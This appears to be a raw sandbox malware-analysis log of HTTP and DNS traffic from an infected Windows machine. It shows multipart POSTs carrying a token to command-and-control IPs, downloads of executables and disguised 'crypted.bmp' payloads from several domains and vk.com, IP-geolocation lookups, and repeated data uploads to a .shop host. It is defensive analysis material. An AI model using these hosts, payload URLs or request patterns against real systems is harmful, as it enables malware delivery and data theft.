Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGHCFIDAKJEBGCAFBAEHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJKFBAFIDAEBFHJKJEBHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKJDGCGDAAAKECAKKJDHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIDGCGCBFBAKFHIJDBAHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGHCAKKFBGDHJJJKECFHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBFBFIIJDAKECAKKJEHHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECFBKFHCAEHJJKEGDGHHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAKEBAECGCBAAAAAEBAHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEGCGCGIEGDHIDHJJEHHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGHIDGDGHCBGDGCBFIHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGHCFBAAAFHJDGCBFIIJHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHCGDAFBKFIDHJJJDHCHost: 185.172.128.170Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGCGHIJKEGIECBFCBAEHost: 185.172.128.170Content-Length: 77615Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAKFCGIJKJKFHIDHIIHost: 185.172.128.170Content-Length: 270Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 61 30 31 35 37 34 34 65 31 37 30 66 37 34 34 39 63 64 65 33 38 66 34 62 61 33 30 66 34 62 63 38 34 66 62 62 64 65 62 33 34 32 64 38 36 34 33 65 38 66 35 66 33 61 65 33 30 61 34 38 37 65 32 66 35 36 66 35 61 64 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 2d 2d 0d 0a Data Ascii: ------DHDAKFCGIJKJKFHIDHIIContent-Disposition: form-data; name="token"1ea015744e170f7449cde38f4ba30f4bc84fbbdeb342d8643e8f5f3ae30a487e2f56f5ad------DHDAKFCGIJKJKFHIDHIIContent-Disposition: form-data; name="message"jbdtaijovg------DHDAKFCGIJKJKFHIDHII--

Source: unknown	DNS query: name: api.myip.com
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: iplogger.org
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: api.myip.com
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: api.myip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: HEAD /jhgfd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: fleur-de-lis.sbsConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ssl/crt.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: lop.foxesjoy.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/builddoc.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: kurd.computerCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /525403/setup.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: monoblocked.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /post/File_294/setup294.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: fleur-de-lis.sbsConnection: Keep-AliveCookie: _subid=38akcjk2e94c8; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjI0OVwiOjE3MTY1NTA5MjR9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE2NTUwOTI0fSxcInRpbWVcIjoxNzE2NTUwOTI0fSJ9.lNB9KfD5N1rKMJGOoUZ3LB1bXp1R1joE5dDztID5k0o; _token=uuid_38akcjk2e94c8_38akcjk2e94c866507d0d17ce53.65978647
Source: global traffic	HTTP traffic detected: GET /jhgfd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: fleur-de-lis.sbsConnection: Keep-AliveCookie: _subid=38akcjk2e94c8; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjI0OVwiOjE3MTY1NTA5MjR9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE2NTUwOTI0fSxcInRpbWVcIjoxNzE2NTUwOTI0fSJ9.lNB9KfD5N1rKMJGOoUZ3LB1bXp1R1joE5dDztID5k0o; _token=uuid_38akcjk2e94c8_38akcjk2e94c866507d0d17ce53.65978647
Source: global traffic	HTTP traffic detected: GET /525403/setup.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: f.123654987.xyzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /post/File_294/setup294.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: fleur-de-lis.sbsConnection: Keep-AliveCookie: _subid=38akcjk2e94c9; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjI0OVwiOjE3MTY1NTA5MjR9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE2NTUwOTI0fSxcInRpbWVcIjoxNzE2NTUwOTI0fSJ9.lNB9KfD5N1rKMJGOoUZ3LB1bXp1R1joE5dDztID5k0o; _token=uuid_38akcjk2e94c9_38akcjk2e94c966507d0f219cd2.18412034
Source: global traffic	HTTP traffic detected: GET /doc329118071_676158749?hash=wJqTXfnxe0acmwC4vumRgawHgxCuE6EviXjICmkirIT&dl=YVEMDGiurKsySjR8YhvL7Ks3RZIJ4qJjfFMeqQgdrQ8&api=1&no_preview=1#ww12 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /doc863235369_679548730?hash=VLR7cQ444BmBjXLp6la3lUFGFg05ZJB7nkcmssw9Kvz&dl=1NJlbpp4OAVyDAr1uKZWHdqzidK1oz5VZ5ub6orZHcP&api=1&no_preview=1#mene HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /doc5294803_669847023?hash=ryX3Kg1W9ePIkzc6vvqmcK7uQKdsrG6gPWaYos4CQF0&dl=8t55Ziv6zwGeFneQ1ShZz8YDtAOk4NoUJHmfXbyHjg0&api=1&no_preview=1#1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c240331/u863235369/docs/d9/9b11db64d68a/crypted.bmp?extra=RIXI9ZURxHbNwKar7u7Vp3l2dMCuYUwn0vqVroE0voOrsaN1719tcchE2pJ4nDtRX4j2DtEPIi3H17jMoIXTJ8zfYSG59wyRLl4e9qdl0CyQjQrOrgQQEHUCRd047rb5MQJh_O0D4ay8NQ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-23.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /doc5294803_669843349?hash=9zPjskz2rlw4WpxESbjigfNghvMBCG7BIpLthkH7eKs&dl=usJOnLsECNfeEiGdn2IU9JTEdwqaRFTDnZMFQJn7v9z&api=1&no_preview=1#ww11 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /doc5294803_669807694?hash=Sn8Y90pAESSpLPWQN3oshZSPomEZcURQihWHxCR6EjD&dl=cVTIDd6TPX72ywkW7u7PbZtLlsjRwOLHc5jbY8rzWiw&api=1&no_preview=1#015 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c909218/u5294803/docs/d58/ae5f17aaecea/crypted.bmp?extra=2KtOsB7RPudhbLUiz0Fys2PnIlSBTnlmpq43sc12T9y5CND5ezdfQbzCDXj4m2UqxmVW2xtpV4S3JDPliqUnfG4acaoLrf78ko6IxDOXK498n-XznH5kK5CQ_NiPX2pbqaTIAO6neyg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-23.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /c909618/u5294803/docs/d8/2a65b6d566b9/WWW11_32.bmp?extra=pQTODAN8utbcf_qh_j-eyneT5bGzHFGQMGblKM3jXRqtJHrOY3IDdcjoF5zP25fxziAva3znutva08nNZJqaW4Uz1Iik83EUDVvJ0j2-8jRz3VHyIyqSgoQJ0PIBZD5yYwFOMWsgUwY HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-21.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /doc5294803_669811786?hash=8bhjD7NgoJ7mZZEUFcsdZsXzzoRwkNFDlJU5B89faFX&dl=nQsFZJcLQzXnvMo2rYan1ud8tt9Muz7f4srpOpg5pk8&api=1&no_preview=1#xin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c909228/u5294803/docs/d35/91095a9a6f06/gewgdggrwh_20240521161330.bmp?extra=SFJQpepKYVBEpZ9-a9sx0fEFfCvtpM1ZI1QeNmMqjWC-GwKgYChdG8ruOMIBbckkR_3ALqVMa2SKrfLtlfcGDlIfuI8GTvUeIity5hjubw0rRzXVmp4JW2WtG0VPysJ8Ykqmv1BvGsI HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-20.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /c237231/u5294803/docs/d48/577c681b7b2d/xfile.bmp?extra=dYdwrl7550ZsVpDpI4edqrBBWzO62vW2JfAM58VQJEAq1f1u5sRJ-oLSyg7Zpabnwn07YGQJoIh1kqXr4Gqg3GPBO6NvrKJxKvrKzCgnPDcXyJUZNyRnnX0rJt7A1_VB7rEMDNUg9EA HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-22.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /doc5294803_669444172?hash=h9HNKFC3zZA9b76sO7xwyzGneP1GyF1iEy2xZ2jA5y8&dl=d94daMXVZFK5tezNI2nYywbtZUDfgtE1vvaKnaRV9Z4&api=1&no_preview=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cacheCookie: remixlang=3; remixstlid=9068030949443387325_NGR4K8R73ya6BWvG15JUMzvA1VoJM3xkbdPjML8QTjw; remixlgck=97161aec10fb207ac3; remixstid=359637111_zjquBN3qKtIZdISlmymUJ2Ztdo5Vh7QJ42TEqSZMxB4; remixir=1
Source: global traffic	HTTP traffic detected: GET /doc5294803_669772653?hash=MJgzq2uHp4YpxKcxqN6PbWIkURu6KtrsshfCpnqBzv8&dl=rLosXazzKL04m9JP6DOfrtJ6pTpZKziindC961cGIVg&api=1&no_preview=1#file2005 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c909628/u5294803/docs/d20/35db56cda88e/file2005.bmp?extra=v7fu1_CWNuIGPII2txDdJ37vFz3Mi-a9WUqq4TWurCDouZQ7DrI89_f6cEaXMJaDSsyl68_1I5lz_6C1I-oFvaAL_sU10wuOXFtD_NRreuF016zSG-PMeLmWuk7pR8kMj7KZ_yatRQQ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: psv4.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1aFYp7.mp3 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: iplis.ru
Source: global traffic	HTTP traffic detected: GET /1nhuM4.js HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: iplogger.org
Source: global traffic	HTTP traffic detected: GET /1pRXr7.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: iplis.ru
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1BV4j7.mp4 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: iplis.ru
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHCGDAFBKFIDHJJJDHCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 279Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAFIDAECBGCBFHJEBGDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDBGDHDAECBGDHJKFIDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIEHDBGDHDAECBGDHJKFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: api.myip.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHJKFHJJJKJJJJKEHCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 8017Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12407Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5433Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1654Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: employhabragaomlsp.shop
